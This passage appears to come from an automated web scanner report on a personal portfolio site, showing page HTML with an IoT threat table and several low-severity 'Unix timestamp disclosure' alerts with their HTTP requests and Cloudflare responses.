Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 998027574Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/cdn-cgi/l/email-protection
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 200170016, which evaluates to: 1976-05-05 19:46:56
Request Request line and header section (250 bytes)
GET https://beekmans.dev/cdn-cgi/l/email-protection HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (226 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Frame-Options: DENY Server: cloudflare CF-RAY: 6b94a32b6a450c09-AMS X-Content-Type-Options: nosniffResponse body (4234 bytes)
<!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Email Protection | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]--> <style type="text/css">body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-wrapper cf-header cf-error-overview"> <h1 data-translate="block_headline">Email Protection</h1> <h2 class="cf-subheadline"><span data-translate="unable_to_access">You are unable to access this email address</span> beekmans.dev</h2> </div><!-- /.header --> <div class="cf-section cf-wrapper"> <div class="cf-columns two"> <div class="cf-column"> <p>The website from which you got to this page is protected by Cloudflare. Email addresses on that page have been hidden in order to keep them from being accessed by malicious bots. <strong>You must enable Javascript in your browser in order to decode the e-mail address</strong>.</p> <p>If you have a website and are interested in protecting it in a similar way, you can <a rel="noopener noreferrer" href="https://www.cloudflare.com/sign-up?utm_source=email_protection">sign up for Cloudflare</a>.</p> </div> <div class="cf-column"> <div class="grid_4"> <div class="rail"> <div class="panel"> <ul class="nobullets"> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-">How does Cloudflare protect email addresses on website from spammers?</a></li> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/categories/200275218-Getting-Started">Can I sign up for Cloudflare?</a></li> </ul> </div> </div> </div> </div> </div> </div><!-- /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">6b94a32b6a450c09</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Your IP</span>: 145.93.113.188</span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script type="text/javascript"> window._cf_translation = {}; </script> </body> </html>Evidence 200170016Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/cdn-cgi/l/email-protection
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 200275218, which evaluates to: 1976-05-07 01:00:18
Request Request line and header section (250 bytes)
GET https://beekmans.dev/cdn-cgi/l/email-protection HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (226 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Frame-Options: DENY Server: cloudflare CF-RAY: 6b94a32b6a450c09-AMS X-Content-Type-Options: nosniffResponse body (4234 bytes)
<!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Email Protection | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]--> <style type="text/css">body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-wrapper cf-header cf-error-overview"> <h1 data-translate="block_headline">Email Protection</h1> <h2 class="cf-subheadline"><span data-translate="unable_to_access">You are unable to access this email address</span> beekmans.dev</h2> </div><!-- /.header --> <div class="cf-section cf-wrapper"> <div class="cf-columns two"> <div class="cf-column"> <p>The website from which you got to this page is protected by Cloudflare. Email addresses on that page have been hidden in order to keep them from being accessed by malicious bots. <strong>You must enable Javascript in your browser in order to decode the e-mail address</strong>.</p> <p>If you have a website and are interested in protecting it in a similar way, you can <a rel="noopener noreferrer" href="https://www.cloudflare.com/sign-up?utm_source=email_protection">sign up for Cloudflare</a>.</p> </div> <div class="cf-column"> <div class="grid_4"> <div class="rail"> <div class="panel"> <ul class="nobullets"> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-">How does Cloudflare protect email addresses on website from spammers?</a></li> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/categories/200275218-Getting-Started">Can I sign up for Cloudflare?</a></li> </ul> </div> </div> </div> </div> </div> </div><!-- /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">6b94a32b6a450c09</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Your IP</span>: 145.93.113.188</span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script type="text/javascript"> window._cf_translation = {}; </script> </body> </html>Evidence 200275218Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/cdn-cgi/styles/cf.errors.css
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 1376755637, which evaluates to: 2013-08-17 18:07:17
Request Request line and header section (279 bytes)
GET https://beekmans.dev/cdn-cgi/styles/cf.errors.css HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.dev/cdn-cgi/l/email-protectionRequest body (0 bytes)
Response Status line and header section (416 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:56:08 GMT Content-Type: text/css Content-Length: 23688 Connection: keep-alive Last-Modified: Wed, 01 Dec 2021 12:20:23 GMT ETag: "61a76887-5c88" Server: cloudflare CF-RAY: 6b94a4806f2d0c09-AMS X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Mon, 06 Dec 2021 11:56:08 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytesResponse body (23688 bytes)
#cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapper del,#cf-wrapper details,#cf-wrapper dfn,#cf-wrapper div,#cf-wrapper dl,#cf-wrapper dt,#cf-wrapper em,#cf-wrapper embed,#cf-wrapper fieldset,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper form,#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3,#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper html,#cf-wrapper i,#cf-wrapper iframe,#cf-wrapper img,#cf-wrapper label,#cf-wrapper legend,#cf-wrapper li,#cf-wrapper mark,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper object,#cf-wrapper ol,#cf-wrapper output,#cf-wrapper p,#cf-wrapper pre,#cf-wrapper s,#cf-wrapper samp,#cf-wrapper section,#cf-wrapper small,#cf-wrapper span,#cf-wrapper strike,#cf-wrapper strong,#cf-wrapper sub,#cf-wrapper summary,#cf-wrapper sup,#cf-wrapper table,#cf-wrapper tbody,#cf-wrapper td,#cf-wrapper tfoot,#cf-wrapper th,#cf-wrapper thead,#cf-wrapper tr,#cf-wrapper tt,#cf-wrapper u,#cf-wrapper ul{margin:0;padding:0;border:0;font:inherit;font-size:100%;text-decoration:none;vertical-align:baseline}#cf-wrapper a img{border:none}#cf-wrapper article,#cf-wrapper aside,#cf-wrapper details,#cf-wrapper figcaption,#cf-wrapper figure,#cf-wrapper footer,#cf-wrapper header,#cf-wrapper hgroup,#cf-wrapper menu,#cf-wrapper nav,#cf-wrapper section,#cf-wrapper summary{display:block}#cf-wrapper .cf-columns:after,#cf-wrapper .cf-columns:before,#cf-wrapper .cf-section:after,#cf-wrapper .cf-section:before,#cf-wrapper .cf-wrapper:after,#cf-wrapper .cf-wrapper:before,#cf-wrapper .clearfix:after,#cf-wrapper .clearfix:before,#cf-wrapper section:after,#cf-wrapper section:before{content:" ";display:table}#cf-wrapper .cf-columns:after,#cf-wrapper .cf-section:after,#cf-wrapper .cf-wrapper:after,#cf-wrapper .clearfix:after,#cf-wrapper section:after{clear:both}#cf-wrapper{display:block;margin:0;padding:0;position:relative;text-align:left;width:100%;z-index:999999999;color:#404040!important;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Helvetica Neue,Arial,sans-serif!important;font-size:15px!important;line-height:1.5!important;text-decoration:none!important;letter-spacing:normal;-webkit-tap-highlight-color:rgba(246,139,31,.3);-webkit-font-smoothing:antialiased}#cf-wrapper .cf-section,#cf-wrapper section{background:0 0;display:block;margin-bottom:2em;margin-top:2em}#cf-wrapper .cf-wrapper{margin-left:auto;margin-right:auto;width:90%}#cf-wrapper .cf-columns{display:block;list-style:none;padding:0;width:100%}#cf-wrapper .cf-columns img,#cf-wrapper .cf-columns input,#cf-wrapper .cf-columns object,#cf-wrapper .cf-columns select,#cf-wrapper .cf-columns textarea{max-width:100%}#cf-wrapper .cf-columns>.cf-column{float:left;padding-bottom:45px;width:100%;box-sizing:border-box}@media screen and (min-width:49.2em){#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(n+4),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.four>.cf-column:nth-child(n+3),#cf-wrapper .cf-columns.three>.cf-column:nth-child(n+4),#cf-wrapper .cf-columns.two>.cf-column:nth-child(n+3){padding-top:67.5px}#cf-wrapper .cf-columns>.cf-column{padding-bottom:0}#cf-wrapper .cf-columns.cols-2>.cf-column,#cf-wrapper .cf-columns.cols-4>.cf-column,#cf-wrapper .cf-columns.four>.cf-column,#cf-wrapper .cf-columns.two>.cf-column{padding-left:0;padding-right:22.5px;width:50%}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.four>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.two>.cf-column:nth-child(2n){padding-left:22.5px;padding-right:0}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.two>.cf-column:nth-child(odd){clear:left}#cf-wrapper .cf-columns.cols-3>.cf-column,#cf-wrapper .cf-columns.three>.cf-column{padding-left:30px;width:33.3333333333333%}#cf-wrapper .cf-columns.cols-3>.cf-column:first-child,#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(3n+1),#cf-wrapper .cf-columns.three>.cf-column:first-child,#cf-wrapper .cf-columns.three>.cf-column:nth-child(3n+1){clear:left;padding-left:0;padding-right:30px}#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(3n+2),#cf-wrapper .cf-columns.three>.cf-column:nth-child(3n+2){padding-left:15px;padding-right:15px}#cf-wrapper .cf-columns.cols-3>.cf-column:nth-child(-n+3),#cf-wrapper .cf-columns.three>.cf-column:nth-child(-n+3){padding-top:0}}@media screen and (min-width:66em){#cf-wrapper .cf-columns>.cf-column{padding-bottom:0}#cf-wrapper .cf-columns.cols-4>.cf-column,#cf-wrapper .cf-columns.four>.cf-column{padding-left:33.75px;width:25%}#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(odd),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd){clear:none}#cf-wrapper .cf-columns.cols-4>.cf-column:first-child,#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+1),#cf-wrapper 